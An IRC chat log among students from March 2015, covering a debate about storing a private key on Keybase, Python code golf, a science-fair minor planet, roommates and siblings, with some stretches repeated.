[2015-03-09T11:34:08-0400] <+awe> And that they can crack it faster.
[2015-03-09T11:34:12-0400] <+awe> OR.
[2015-03-09T11:34:24-0400] <+awe> Who's the first person who's going to have a quantum computer?
[2015-03-09T11:34:30-0400] <+awe> Hint: it's the government of the United States of America.
[2015-03-09T11:34:54-0400] <+awe> (Or I guess theoretically Germany. But that's not really better.)
[2015-03-09T11:35:32-0400] <JacobEdelman> if the gov really wants to come after me
[2015-03-09T11:35:39-0400] <JacobEdelman> there is nothing I can do to stop them
[2015-03-09T11:36:01-0400] <+awe> Why even have a private key then?
[2015-03-09T11:36:02-0400] <JacobEdelman> (if they want so much that they are willing to risk the discovery that they have a quantum computer)
[2015-03-09T11:36:10-0400] <JacobEdelman> too stop non-governmental entities
[2015-03-09T11:36:10-0400] <+awe> They wouldn't have to risk that discovery?
[2015-03-09T11:36:19-0400] <JacobEdelman> and to stop the govnerment from being able to get it easily
[2015-03-09T11:36:22-0400] <+awe> Non-governmental entities aren't really the ones you need to be scared of.
[2015-03-09T11:36:41-0400] <+awe> And the ones that are have the same resources as the government.
[2015-03-09T11:48:45-0400] <nezorg> awe: what?
[2015-03-09T11:49:00-0400] <+awe> nezorg: He hosts his private key on Keybase.
[2015-03-09T11:49:15-0400] <nezorg> yeah, that's a little strange
[2015-03-09T11:49:59-0400] <nezorg> I could understand google or something, seeing as a lot of people trust them with pretty much everything already
[2015-03-09T11:50:10-0400] <nezorg> but I wouldn't trust keybase
[2015-03-09T11:50:15-0400] <nezorg> (nor google in my case)
[2015-03-09T11:51:05-0400] <+awe> People who trust Google almost deserve to have their information sold and traded (as it most definitely is).
[2015-03-09T12:04:26-0400] <+awe> To quote Benjamin Franklin, Those who would give up essential Privacy, to purchase a little temporary Convenience, deserve neither Privacy nor Convenience.
[2015-03-09T12:33:47-0400] <JacobEdelman> awe: to paraphrase Benjamin Franklin, Electrons should have a negative charge!
[2015-03-09T13:17:47-0400] <Hyper> JacobEdelman: hehehehehehe I got rid of another 8 characters
[2015-03-09T13:17:49-0400] <Hyper> \o/
[2015-03-09T13:17:58-0400] <Hyper> on the version that uses eval
[2015-03-09T13:18:08-0400] <Hyper> kwargs <3
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[2015-03-09T13:54:48-0400] <JacobEdelman> lol
[2015-03-09T13:54:53-0400] <JacobEdelman> link?
[2015-03-09T13:54:58-0400] <JacobEdelman> Hyper: ^
[2015-03-09T13:55:27-0400] <Hyper> JacobEdelman: https://gist.github.com/anonymous/40ea0d267fa172271932
[2015-03-09T13:57:11-0400] <JacobEdelman> wait, whats the eval doing?
[2015-03-09T13:57:15-0400] <JacobEdelman> how does this acutally work
[2015-03-09T13:58:17-0400] <Hyper> haha, I've finally made code messy enough that it stumps JacobEdelman !
[2015-03-09T13:58:32-0400] <Hyper> awe: I think I won pdgn
[2015-03-09T13:58:38-0400] <JacobEdelman> what, no!
[2015-03-09T13:58:42-0400] <+awe> Hyper: nice!
[2015-03-09T13:58:43-0400] <JacobEdelman> I can't even understand my own code!
[2015-03-09T13:58:47-0400] <+awe> Hyper: I'm so proud!
[2015-03-09T13:58:49-0400] <Hyper> [13:57:15]  <JacobEdelman>	how does this acutally work
[2015-03-09T13:58:51-0400] <Hyper> I win
[2015-03-09T13:58:53-0400] <Hyper> 10/10
[2015-03-09T13:58:53-0400] <JacobEdelman> I'm horrible at reading code
[2015-03-09T13:59:06-0400] <+awe> JacobEdelman: that's because the code you write is garbage.
[2015-03-09T13:59:11-0400] <JacobEdelman> I can't read my own and never claimed I could
[2015-03-09T13:59:12-0400] <JacobEdelman> :P
[2015-03-09T13:59:14-0400] <JacobEdelman> yup!
[2015-03-09T13:59:42-0400] <JacobEdelman> so, I'll agree with Hyper, that he won pdgn
[2015-03-09T13:59:47-0400] <JacobEdelman> but not becuase I can't read it
[2015-03-09T13:59:54-0400] <JacobEdelman> but because its argubaly worse than my code!
[2015-03-09T14:00:50-0400] <Hyper> JacobEdelman: lemme know when you figure it out :3
[2015-03-09T14:04:10-0400] <+awe> If his goal was to write obfuscated code and he made it worse than yours, he succeeded.
[2015-03-09T14:04:24-0400] <Hyper> let it be known that on 3/9/15, at 14:57:15, I won Pdgn
[2015-03-09T14:05:28-0400] <Hyper> wait shit, 13:57:14
[2015-03-09T14:05:35-0400] <Hyper> I fucked up
[2015-03-09T14:05:36-0400] <Hyper> shit
[2015-03-09T14:05:49-0400] <Hyper> now the hour of my victory will be forever misreported
[2015-03-09T14:11:53-0400] <JacobEdelman> hmm... I should dig up my chat bot
[2015-03-09T14:12:03-0400] <JacobEdelman> I made it in 6th grade
[2015-03-09T14:12:12-0400] <JacobEdelman> it is a long, complexish program
[2015-03-09T14:12:26-0400] <JacobEdelman> variables tend to have two letter names
[2015-03-09T14:12:28-0400] <JacobEdelman> :P
[2015-03-09T14:15:25-0400] <+awe> Hyper: lol
[2015-03-09T14:15:35-0400] <Hyper> JacobEdelman: pls no
[2015-03-09T14:15:43-0400] <JacobEdelman> hmm... its old
[2015-03-09T14:15:57-0400] <JacobEdelman> I'm not even sure if its on my harddrive
[2015-03-09T14:15:59-0400] <Hyper> You should have seen my code before I learned about loops!
[2015-03-09T14:16:03-0400] <JacobEdelman> lol
[2015-03-09T14:21:08-0400] <JacobEdelman> ooooh, you use the eval to do that
[2015-03-09T14:21:10-0400] <JacobEdelman> that makes sense
[2015-03-09T14:21:14-0400] <JacobEdelman> I gots it
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[2015-03-09T14:37:24-0400] <grantwu> Wait... why would you put a private key on keybase again?
[2015-03-09T15:06:49-0400] <JacobEdelman> keybase stores the private key encrypted
[2015-03-09T15:06:56-0400] <JacobEdelman> decyption is done client side, with my password
[2015-03-09T15:07:19-0400] <JacobEdelman> their security is just as strong as my password, and what ever is preventing people from gaining access to the server
[2015-03-09T15:07:43-0400] <JacobEdelman> security on my computer would be just as strong as my password, and whatever is preventing people from gaining access to it
[2015-03-09T15:08:14-0400] <JacobEdelman> and you know what, storing things on my computer just because its hard for people to get access to it, is just security by obscurity
[2015-03-09T15:09:41-0400] <+awe> No.
[2015-03-09T15:09:46-0400] <+awe> That's not security by obscurity.
[2015-03-09T15:09:58-0400] <+awe> It's security by the fact that you're not a central repository of keys.
[2015-03-09T15:10:28-0400] <+awe> Hacking Keybase gets you access to everyone's keys and is therefore more valuable than just hacking you.
[2015-03-09T15:10:36-0400] <+awe> Well, everyone who's stupid enough to host it like you.
[2015-03-09T15:10:42-0400] <+awe> There's a greater pay off for someone to hack them.
[2015-03-09T15:10:46-0400] <+awe> It puts you at a higher risk.
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[2015-03-09T13:58:32-0400] <Hyper> awe: I think I won pdgn
[2015-03-09T13:58:38-0400] <JacobEdelman> what, no!
[2015-03-09T13:58:43-0400] <+awe> Hyper: nice!
[2015-03-09T13:58:43-0400] <JacobEdelman> I can't even understand my own code!
[2015-03-09T13:58:47-0400] <+awe> Hyper: I'm so proud!
[2015-03-09T13:58:49-0400] <Hyper> [13:57:15]  <JacobEdelman>	how does this acutally work
[2015-03-09T13:58:51-0400] <Hyper> I win
[2015-03-09T13:58:53-0400] <Hyper> 10/10
[2015-03-09T13:58:53-0400] <JacobEdelman> I'm horrible at reading code
[2015-03-09T13:59:06-0400] <+awe> JacobEdelman: that's because the code you write is garbage.
[2015-03-09T13:59:11-0400] <JacobEdelman> I can't read my own and never claimed I could
[2015-03-09T13:59:12-0400] <JacobEdelman> :P
[2015-03-09T13:59:15-0400] <JacobEdelman> yup!
[2015-03-09T13:59:42-0400] <JacobEdelman> so, I'll agree with Hyper, that he won pdgn
[2015-03-09T13:59:47-0400] <JacobEdelman> but not becuase I can't read it
[2015-03-09T13:59:54-0400] <JacobEdelman> but because its argubaly worse than my code!
[2015-03-09T14:00:50-0400] <Hyper> JacobEdelman: lemme know when you figure it out :3
[2015-03-09T14:04:10-0400] <+awe> If his goal was to write obfuscated code and he made it worse than yours, he succeeded.
[2015-03-09T14:04:24-0400] <Hyper> let it be known that on 3/9/15, at 14:57:15, I won Pdgn
[2015-03-09T14:05:28-0400] <Hyper> wait shit, 13:57:14
[2015-03-09T14:05:35-0400] <Hyper> I fucked up
[2015-03-09T14:05:36-0400] <Hyper> shit
[2015-03-09T14:05:49-0400] <Hyper> now the hour of my victory will be forever misreported
[2015-03-09T14:11:53-0400] <JacobEdelman> hmm... I should dig up my chat bot
[2015-03-09T14:12:03-0400] <JacobEdelman> I made it in 6th grade
[2015-03-09T14:12:12-0400] <JacobEdelman> it is a long, complexish program
[2015-03-09T14:12:26-0400] <JacobEdelman> variables tend to have two letter names
[2015-03-09T14:12:28-0400] <JacobEdelman> :P
[2015-03-09T14:15:25-0400] <+awe> Hyper: lol
[2015-03-09T14:15:35-0400] <Hyper> JacobEdelman: pls no
[2015-03-09T14:15:43-0400] <JacobEdelman> hmm... its old
[2015-03-09T14:15:58-0400] <JacobEdelman> I'm not even sure if its on my harddrive
[2015-03-09T14:15:59-0400] <Hyper> You should have seen my code before I learned about loops!
[2015-03-09T14:16:04-0400] <JacobEdelman> lol
[2015-03-09T14:21:08-0400] <JacobEdelman> ooooh, you use the eval to do that
[2015-03-09T14:21:11-0400] <JacobEdelman> that makes sense
[2015-03-09T14:21:14-0400] <JacobEdelman> I gots it
[2015-03-09T14:37:24-0400] <grantwu> Wait... why would you put a private key on keybase again?
[2015-03-09T15:06:49-0400] <JacobEdelman> keybase stores the private key encrypted
[2015-03-09T15:06:57-0400] <JacobEdelman> decyption is done client side, with my password
[2015-03-09T15:07:19-0400] <JacobEdelman> their security is just as strong as my password, and what ever is preventing people from gaining access to the server
[2015-03-09T15:07:43-0400] <JacobEdelman> security on my computer would be just as strong as my password, and whatever is preventing people from gaining access to it
[2015-03-09T15:08:14-0400] <JacobEdelman> and you know what, storing things on my computer just because its hard for people to get access to it, is just security by obscurity
[2015-03-09T15:09:41-0400] <+awe> No.
[2015-03-09T15:09:46-0400] <+awe> That's not security by obscurity.
[2015-03-09T15:09:58-0400] <+awe> It's security by the fact that you're not a central repository of keys.
[2015-03-09T15:10:28-0400] <+awe> Hacking Keybase gets you access to everyone's keys and is therefore more valuable than just hacking you.
[2015-03-09T15:10:36-0400] <+awe> Well, everyone who's stupid enough to host it like you.
[2015-03-09T15:10:42-0400] <+awe> There's a greater pay off for someone to hack them.
[2015-03-09T15:10:46-0400] <+awe> It puts you at a higher risk.
[2015-03-09T15:17:15-0400] Mode is +nt
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[2015-03-09T15:28:36-0400] <JacobEdelman> .. that's security by obscurity in a nutshell
[2015-03-09T15:30:18-0400] <+awe> No, security by obscurity is "I'll make this secure by making it hard to understand."
[2015-03-09T15:30:28-0400] <+awe> You're not obscuring your key.
[2015-03-09T15:30:31-0400] <+awe> You're decentralizing it.
[2015-03-09T15:30:51-0400] <+awe> Not to mention, you don't host a web service on your computer and are therefore not as easy to pin down.
[2015-03-09T15:33:52-0400] <JacobEdelman> It security by the fact that you're [crypto algorthim is not protecting all of the ] leys
[2015-03-09T15:34:32-0400] <JacobEdelman> Hacking [a major crypto algorithm] gets you access to everyone's keys and is therefore more valuable than just hacking [your crypto algorthim]
[2015-03-09T15:34:52-0400] <JacobEdelman> Well, everyone who's stupid enough to [trust a mainstream crypto algorthim] like you
[2015-03-09T15:35:10-0400] <JacobEdelman> There a greater pay off for someone to hack [a major crypto algorithm]
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[2015-03-09T15:35:21-0400] <JacobEdelman> It puts you at higher risk.
[2015-03-09T15:35:22-0400] <JacobEdelman> done
[2015-03-09T15:35:33-0400] <JacobEdelman> there, I took what you said, did some replacements,
[2015-03-09T15:36:13-0400] <JacobEdelman> just switctedh around the idea of "physical" (for lack of a better word) security  with cryptographic security
[2015-03-09T15:36:29-0400] <+awe> BUT THAT'S NOT THE SAME THING.
[2015-03-09T15:36:48-0400] raphus.pdgn.co kicked JacobEdelman from the channel (strawman.)
[2015-03-09T15:40:12-0400] <[sar]chr_> lol
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[2015-03-09T15:41:00-0400] • awe: only uses administrative abilities with Jacob.
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[2015-03-09T15:43:13-0400] <JacobEdelman> wow, you actually kicked me
[2015-03-09T15:43:18-0400] <JacobEdelman> I still won the argument
[2015-03-09T15:43:58-0400] <+awe> No, you didn't.
[2015-03-09T15:44:02-0400] <+awe> That was a complete strawman.
[2015-03-09T15:44:31-0400] <+awe> You took the validity of your substitution as an assumption, too.
[2015-03-09T15:45:29-0400] <+awe> It is best practice to not have a centralized storage of keys. It is not best practice to roll your own crypto algorithms.
[2015-03-09T15:46:41-0400] <+awe> There's a practical reason not to implement your own crypto: you want math supporting its security.
[2015-03-09T15:47:01-0400] <+awe> There's a practical reason not to host your private keys in a central repository: it's one big target.
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[2015-03-09T16:50:36-0400] <Hyper> JacobEdelman: so did you try to figure it outt?
[2015-03-09T16:51:33-0400] <JacobEdelman> Hyper: I figured out what the eval is if thats what you meant
[2015-03-09T16:51:49-0400] <Hyper> can you see anything I can do to golf it down further
[2015-03-09T16:51:54-0400] <JacobEdelman> awe: wait
[2015-03-09T16:51:59-0400] <Hyper> I felt really smart about the kwargs part :3
[2015-03-09T16:52:00-0400] <JacobEdelman> theres a practical reason no too
[2015-03-09T16:52:04-0400] <Hyper> er, clever
[2015-03-09T16:52:10-0400] <Hyper> 8 character savings!
[2015-03-09T16:52:21-0400] <JacobEdelman> There's a practical reason no to build your own security for your keys: it's stupid
[2015-03-09T16:52:36-0400] <JacobEdelman> Hyper: what do you mean? you mean the "**"
[2015-03-09T16:52:59-0400] <Hyper> JacobEdelman: do you know **kwargs?
[2015-03-09T16:53:19-0400] <JacobEdelman> Hyper: you mean using ** in a main function?
[2015-03-09T16:53:25-0400] <Hyper> yeah
[2015-03-09T16:53:55-0400] <Hyper> it's fewer characters to construct a dictionary that way than the raw syntax
[2015-03-09T16:54:11-0400] <Hyper> because you save on quotes around the keys and you don't need the {}'s around the dict
[2015-03-09T16:55:05-0400] <Hyper> It could be even shorter but I had to invert the dictionary because you can't have kwargs with names of primitive operations, so I have to index into the dict a few times :(
[2015-03-09T16:57:50-0400] <JacobEdelman> still, very cool
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[2015-03-09T17:00:06-0400] <JacobEdelman> hi ernest
[2015-03-09T17:00:36-0400] <JacobEdelman> ernest: did you hear brice had a minor planet named after him?
[2015-03-09T17:00:38-0400] <+awe> JacobEdelman: it's not stupid to keep your key safe on your own computer that doesn't have millions of users connecting to it daily.
[2015-03-09T17:00:57-0400] <ernest> ?
[2015-03-09T17:01:08-0400] <JacobEdelman> ernest: its on fb
[2015-03-09T17:01:23-0400] <JacobEdelman> ernest: for the intel science fair, some laborartory named on minor planet after every finalist
[2015-03-09T17:01:33-0400] <ernest> Wow
[2015-03-09T17:01:34-0400] <JacobEdelman> ernest: so there is now a minor planet called bricehuang
[2015-03-09T17:01:43-0400] <ernest> I'm jealous
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[2015-03-09T17:01:48-0400] <JacobEdelman> so am I
[2015-03-09T17:01:50-0400] <JacobEdelman> he also said
[2015-03-09T17:01:50-0400] <+awe> What is a minor planet?
[2015-03-09T17:01:57-0400] <JacobEdelman> awe: I think its what pluto is
[2015-03-09T17:02:04-0400] <+awe> Ah, yeah.
[2015-03-09T17:02:05-0400] <JacobEdelman> even bigger news
[2015-03-09T17:02:09-0400] <JacobEdelman> he said people there
[2015-03-09T17:02:12-0400] <+awe> Minor planets can be dwarf planets, asteroids, trojans, centaurs, Kuiper belt objects, and other trans-Neptunian objects.
[2015-03-09T17:02:14-0400] <JacobEdelman> were talking about HSCTF
[2015-03-09T17:02:44-0400] <JacobEdelman> its awesome that brice went to Romania for the intel science fair, only to hear people talking about HSCTF
[2015-03-09T17:54:32-0400] <+awe> Oh yeah, guys.
[2015-03-09T17:54:51-0400] <+awe> Update: I will indeed be living in a single next year.
[2015-03-09T18:00:41-0400] <Hyper> awe: nice
[2015-03-09T18:01:05-0400] <Hyper> though I think I'd perfer a roommate I really got along with to a single
[2015-03-09T18:01:08-0400] <JacobEdelman> awe: you're not living with lauren
[2015-03-09T18:01:11-0400] <Hyper> but it's close
[2015-03-09T18:01:11-0400] <JacobEdelman> ?
[2015-03-09T18:01:21-0400] <+awe> You can't live with members of the opposite sex in dorms?
[2015-03-09T18:01:36-0400] <+awe> Hyper: I don't really have many male friends.
[2015-03-09T18:01:45-0400] <Hyper> awe: not with that attitude you can't!
[2015-03-09T18:01:46-0400] <JacobEdelman> hmm.. oh yeah, you're not off campus I guess
[2015-03-09T18:02:16-0400] <+awe> All my non-CS classes are predominantly female, and all my CS classes are full of twits.
[2015-03-09T18:02:25-0400] <Hyper> heh
[2015-03-09T18:02:46-0400] <Hyper> I'd love it if *any* of my classes were predominantly female x.x
[2015-03-09T18:02:56-0400] <+awe> It's because you went to Poly.
[2015-03-09T18:02:56-0400] <Hyper> or not full of twits
[2015-03-09T18:02:59-0400] <Hyper> I'm not picky
[2015-03-09T18:03:02-0400] <Hyper> just one of those conditions
[2015-03-09T18:05:58-0400] <+awe> Plus, I still don't think I'd want a roommate.
[2015-03-09T18:06:11-0400] <+awe> Even if I liked them, I still want the ability to be alone.
[2015-03-09T18:10:11-0400] <Hyper> awe: fair enough
[2015-03-09T18:10:26-0400] <Hyper> I'd like to not have to put on headphones whenever my roommate is around x.x
[2015-03-09T18:10:50-0400] <+awe> Yeah, I like being able to bump with my speakers, thanks.
[2015-03-09T18:10:56-0400] <+awe> Like right now.
[2015-03-09T18:11:01-0400] <+awe> My roommate was sleeping in the room all day.
[2015-03-09T18:11:04-0400] <+awe> He just left a little while ago.
[2015-03-09T18:11:09-0400] <+awe> And now I'm free to bump.
[2015-03-09T18:11:28-0400] <Hyper> I have no idea what bump means but I assume it has to do with music
[2015-03-09T18:12:12-0400] <+awe> From Urban Dictionary: "(2) To play any type of musiq you listening louder. To turn it up. "
[2015-03-09T18:12:36-0400] <+awe> "to play bass-heavy music at a pleasantly high volume"
[2015-03-09T18:12:48-0400] <Hyper> oh
[2015-03-09T18:12:48-0400] <Hyper> ok
[2015-03-09T18:13:11-0400] <Hyper> I think my headphones can reach the same volume as my laptop speakers :)
[2015-03-09T18:13:27-0400] <Hyper> I normally keep them just above 0 volume and it's plenty loud
[2015-03-09T18:13:27-0400] <+awe> I recently got a pair of speakers as a gift for my desktop.
[2015-03-09T18:13:30-0400] <+awe> It's got a subwoofer, too.
[2015-03-09T18:13:33-0400] <+awe> So, it's pretty sweet.
[2015-03-09T18:13:48-0400] <+awe> My headphones are awesome, but it's nice to not have to wear them.
[2015-03-09T18:14:09-0400] <Hyper> I agree
[2015-03-09T18:14:32-0400] <+awe> My roommate is the complete opposite though. He doesn't care to wear headphones (except now when he's facetiming because I think he realized that I can hear everything they say).
[2015-03-09T18:14:38-0400] <+awe> When he listens to music, he just blasts it as loudly as possible.
[2015-03-09T18:20:51-0400] <Hyper> awe: just ask him to put on headphones
[2015-03-09T18:20:57-0400] <Hyper> and look kinda grumpy when you do
[2015-03-09T18:21:10-0400] <Hyper> the social shame will get him to do it
[2015-03-09T18:21:11-0400] <+awe> I just avoid being around him.
[2015-03-09T18:21:31-0400] <+awe> He's had people tell him to be quieter, and he doesn't really care.
[2015-03-09T18:21:31-0400] <Hyper> heh
[2015-03-09T18:22:12-0400] <Hyper> my roommate got home at 2am yesterday and then took a shower while having music playing loudly off his phone speaker in the bathroom
[2015-03-09T18:22:17-0400] <Hyper> it was very fucking annoying
[2015-03-09T18:22:22-0400] <+awe> How pleasant.
[2015-03-09T18:22:40-0400] <+awe> I don't understand how people can live with someone else and behave like that.
[2015-03-09T18:22:42-0400] <Hyper> yeah I envy your future non-roommateness
[2015-03-09T18:23:07-0400] <+awe> It's pretty sweet because my room is roughly the size of my girlfriend's double for next year.
[2015-03-09T18:23:11-0400] <+awe> And I have a sick view.
[2015-03-09T18:23:30-0400] <+awe> It's at the top of a hill (which is buns for walking, but my car is also up there anyway), and it overlooks the entire campus.
[2015-03-09T18:23:50-0400] <Hyper> "The city is our campus" >_<
[2015-03-09T18:23:57-0400] <+awe> Lol, NYU.
[2015-03-09T18:24:19-0400] <+awe> I guess I'll know what that's like if I can manage my way into UPenn.
[2015-03-09T18:24:55-0400] <Hyper> to be fair, NYU basically owns a 10 block long area of lower manhattan
[2015-03-09T18:25:00-0400] <+awe> I know.
[2015-03-09T18:25:12-0400] <+awe> It's an awesome area.
[2015-03-09T18:25:24-0400] <Hyper> mhm
[2015-03-09T18:25:31-0400] <+awe> I really wanted to go to NYU CAS.
[2015-03-09T18:25:31-0400] <Hyper> but I'm not there because #poly!
[2015-03-09T18:25:37-0400] <+awe> But it's so expensive.
[2015-03-09T18:25:39-0400] <JacobEdelman> awe; blast nyan cat
[2015-03-09T18:25:42-0400] <Hyper> CAS has Ken Perlin on staff
[2015-03-09T18:25:43-0400] <JacobEdelman> for 10 hours straight
[2015-03-09T18:25:50-0400] <JacobEdelman> he'll ask you too wear headphones
[2015-03-09T18:25:55-0400] <JacobEdelman> look at him pointedly
[2015-03-09T18:26:00-0400] <JacobEdelman> problem solved
[2015-03-09T18:26:04-0400] <JacobEdelman> :P
[2015-03-09T18:26:04-0400] <+awe> No.
[2015-03-09T18:26:09-0400] <Hyper> JacobEdelman: That doesn't really work lol
[2015-03-09T18:26:10-0400] <+awe> That wouldn't solve it.
[2015-03-09T18:26:16-0400] <Hyper> revenge just causes a power escalation
[2015-03-09T18:26:16-0400] <JacobEdelman> probaly not
[2015-03-09T18:26:22-0400] <JacobEdelman> but it would be hilarous
[2015-03-09T18:26:22-0400] <Tamini> you don't want to intentionally
[2015-03-09T18:26:23-0400] <JacobEdelman> for me
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[2015-03-09T18:26:26-0400] <+awe> Hyper: I mean, I'd win if that's what I wanted to do.
[2015-03-09T18:26:26-0400] <JacobEdelman> and anyone watching
[2015-03-09T18:26:27-0400] <Tamini> cause trouble with someone you live with
[2015-03-09T18:26:57-0400] <Hyper> awe: never fight a land war in asia. 
[2015-03-09T18:27:00-0400] <+awe> Hyper: buy crack, plant it in his stuff, report roommate for possessing crack.
[2015-03-09T18:27:40-0400] <JacobEdelman> Tamini: umm... do you have siblings?
[2015-03-09T18:27:47-0400] <+awe> Yes, Tamini has a sister.
[2015-03-09T18:28:03-0400] <JacobEdelman> Hyper: (I know you have siblings, and I've seen how well you avoid causing trouble with him :P)
[2015-03-09T18:28:11-0400] <Hyper> >_>
[2015-03-09T18:28:19-0400] <Tamini> I don't fight my sister
[2015-03-09T18:28:20-0400] <Tamini> o-o
[2015-03-09T18:28:23-0400] <Hyper> I don't cause trouble, he causes trouble
[2015-03-09T18:28:33-0400] <Hyper> I'm a perfect little angel.
[2015-03-09T18:28:38-0400] <JacobEdelman> :P
[2015-03-09T18:28:40-0400] <Hyper> And never do anything to antagonize him
[2015-03-09T18:28:41-0400] <+awe> My sister's an adult and therefore I never have to interact with her.
[2015-03-09T18:29:01-0400] <JacobEdelman> Hyper: umm... I've known you two most of your lives
[2015-03-09T18:29:23-0400] <JacobEdelman> lol, I remember meeting ernest's older brother
[2015-03-09T18:29:35-0400] <JacobEdelman> he told me he'd heard about me and didn't want ernest to hang out with me anymore
[2015-03-09T18:29:43-0400] <Tamini> LOL
[2015-03-09T18:29:47-0400] <JacobEdelman> said I was a bad influence
[2015-03-09T18:29:51-0400] <JacobEdelman> (he was joking)
[2015-03-09T18:29:51-0400] <Tamini> wait darn
[2015-03-09T18:29:55-0400] <Tamini> i adore my sister 
[2015-03-09T18:29:56-0400] <Tamini> :
[2015-03-09T18:29:57-0400] <Tamini> :<
[2015-03-09T18:29:57-0400] <+awe> The funniest thing about my sister is that she complains to my mom about how often she calls me and how I never pick up.
[2015-03-09T18:30:03-0400] <+awe> She's never called me.
[2015-03-09T18:30:17-0400] <JacobEdelman> hmm... I have a very good relationship with my siblings
[2015-03-09T18:30:19-0400] <Hyper> awe: You've never picked up when she called you then!
[2015-03-09T18:30:24-0400] <+awe> Hyper: lol
[2015-03-09T18:30:33-0400] <+awe> Hyper: but she complains that she calls me ALL THE TIME.
[2015-03-09T18:30:39-0400] <JacobEdelman> (my older brother is perfect, and I'm working on corrupting my younger siblings)
[2015-03-09T18:31:14-0400] <Hyper> JacobEdelman: Ezra knew how to play MtG, he's well on his way of being corrupted already :)
[2015-03-09T18:31:38-0400] <+awe> Honestly, I like the cloning work that Mama and Papa Edelman did on Ezra.
[2015-03-09T18:31:41-0400] <+awe> It worked out way better than JacobEdelman.
[2015-03-09T18:32:08-0400] <JacobEdelman> hmmm... a science teacher at our school calls my mom Mama Edelman
[2015-03-09T18:32:22-0400] <JacobEdelman> anyway, ezra is a freak mutant
[2015-03-09T18:32:26-0400] <+awe> So are you.
[2015-03-09T18:32:30-0400] <JacobEdelman> he's 80th percentil in height
[2015-03-09T18:32:36-0400] <JacobEdelman> he's TALL
[2015-03-09T18:32:40-0400] <JacobEdelman> how is that even possible 
[2015-03-09T18:32:41-0400] <+awe> He's the only tall Edelman.
[2015-03-09T18:32:45-0400] <+awe> Well, and your dad.
[2015-03-09T18:32:47-0400] <JacobEdelman> my dad is middling height
[2015-03-09T18:32:53-0400] <+awe> The rest of you are all tiny.
[2015-03-09T18:33:05-0400] <JacobEdelman> yup
[2015-03-09T18:33:13-0400] <JacobEdelman> I still buy the theory
[2015-03-09T18:33:19-0400] <JacobEdelman> that the cloning formula for ben
[2015-03-09T18:33:29-0400] <JacobEdelman> was accidentally left next to the uranium suplly
[2015-03-09T18:33:32-0400] <JacobEdelman> *supply
[2015-03-09T18:33:37-0400] <+awe> lol.
[2015-03-09T18:33:39-0400] <JacobEdelman> which resulted in increasing mutated children
[2015-03-09T18:33:44-0400] <JacobEdelman> cummilated in theo
[2015-03-09T18:33:45-0400] <JacobEdelman> :P
[2015-03-09T18:33:54-0400] <+awe> I think something went very wrong to get Theo.
[2015-03-09T18:33:54-0400] <JacobEdelman> *cumulating 
[2015-03-09T18:33:59-0400] <JacobEdelman> nah
[2015-03-09T18:34:06-0400] <JacobEdelman> he's surprisingly similar to the rest of us
[2015-03-09T18:34:16-0400] <JacobEdelman> he's short, hyper actice, eats like a dog (like Ezra)
[2015-03-09T18:34:23-0400] <JacobEdelman> and doesn't fit in with other people
[2015-03-09T18:34:36-0400] <JacobEdelman> really, its just the logical conclusion of the edelman genome
[2015-03-09T19:13:18-0400] <JacobEdelman> why is everyone silent
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[2015-03-09T19:14:19-0400] <Tamini> oh
[2015-03-09T19:14:22-0400] <Tamini> ernest was here?
[2015-03-09T19:14:29-0400] <JacobEdelman> yes, he was
[2015-03-09T19:16:18-0400] <+awe> Hyper: if I don't try really hard, my streak is going to end next week.
[2015-03-09T19:16:28-0400] <Hyper> awe: perrrrrrrrfect
[2015-03-09T19:17:20-0400] <+awe> It's going to be hell to make sure I get a commit in every day. .-.
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[2015-03-09T19:27:22-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-09T18:29:43-0400] <Tamini> LOL
[2015-03-09T18:29:47-0400] <JacobEdelman> said I was a bad influence
[2015-03-09T18:29:51-0400] <JacobEdelman> (he was joking)
[2015-03-09T18:29:51-0400] <Tamini> wait darn
[2015-03-09T18:29:55-0400] <Tamini> i adore my sister 
[2015-03-09T18:29:56-0400] <Tamini> :
[2015-03-09T18:29:57-0400] <Tamini> :<
[2015-03-09T18:29:57-0400] <+awe> The funniest thing about my sister is that she complains to my mom about how often she calls me and how I never pick up.
[2015-03-09T18:30:04-0400] <+awe> She's never called me.
[2015-03-09T18:30:17-0400] <JacobEdelman> hmm... I have a very good relationship with my siblings
[2015-03-09T18:30:19-0400] <Hyper> awe: You've never picked up when she called you then!
[2015-03-09T18:30:24-0400] <+awe> Hyper: lol
[2015-03-09T18:30:33-0400] <+awe> Hyper: but she complains that she calls me ALL THE TIME.
[2015-03-09T18:30:39-0400] <JacobEdelman> (my older brother is perfect, and I'm working on corrupting my younger siblings)
[2015-03-09T18:31:14-0400] <Hyper> JacobEdelman: Ezra knew how to play MtG, he's well on his way of being corrupted already :)
[2015-03-09T18:31:38-0400] <+awe> Honestly, I like the cloning work that Mama and Papa Edelman did on Ezra.
[2015-03-09T18:31:41-0400] <+awe> It worked out way better than JacobEdelman.
[2015-03-09T18:32:08-0400] <JacobEdelman> hmmm... a science teacher at our school calls my mom Mama Edelman
[2015-03-09T18:32:22-0400] <JacobEdelman> anyway, ezra is a freak mutant
[2015-03-09T18:32:26-0400] <+awe> So are you.
[2015-03-09T18:32:30-0400] <JacobEdelman> he's 80th percentil in height
[2015-03-09T18:32:36-0400] <JacobEdelman> he's TALL
[2015-03-09T18:32:40-0400] <JacobEdelman> how is that even possible 
[2015-03-09T18:32:41-0400] <+awe> He's the only tall Edelman.
[2015-03-09T18:32:45-0400] <+awe> Well, and your dad.
[2015-03-09T18:32:47-0400] <JacobEdelman> my dad is middling height
[2015-03-09T18:32:53-0400] <+awe> The rest of you are all tiny.
[2015-03-09T18:33:05-0400] <JacobEdelman> yup
[2015-03-09T18:33:13-0400] <JacobEdelman> I still buy the theory
[2015-03-09T18:33:19-0400] <JacobEdelman> that the cloning formula for ben
[2015-03-09T18:33:29-0400] <JacobEdelman> was accidentally left next to the uranium suplly
[2015-03-09T18:33:32-0400] <JacobEdelman> *supply
[2015-03-09T18:33:37-0400] <+awe> lol.
[2015-03-09T18:33:39-0400] <JacobEdelman> which resulted in increasing mutated children
[2015-03-09T18:33:44-0400] <JacobEdelman> cummilated in theo
[2015-03-09T18:33:45-0400] <JacobEdelman> :P
[2015-03-09T18:33:54-0400] <+awe> I think something went very wrong to get Theo.
[2015-03-09T18:33:54-0400] <JacobEdelman> *cumulating 
[2015-03-09T18:33:59-0400] <JacobEdelman> nah
[2015-03-09T18:34:06-0400] <JacobEdelman> he's surprisingly similar to the rest of us
[2015-03-09T18:34:16-0400] <JacobEdelman> he's short, hyper actice, eats like a dog (like Ezra)
[2015-03-09T18:34:23-0400] <JacobEdelman> and doesn't fit in with other people
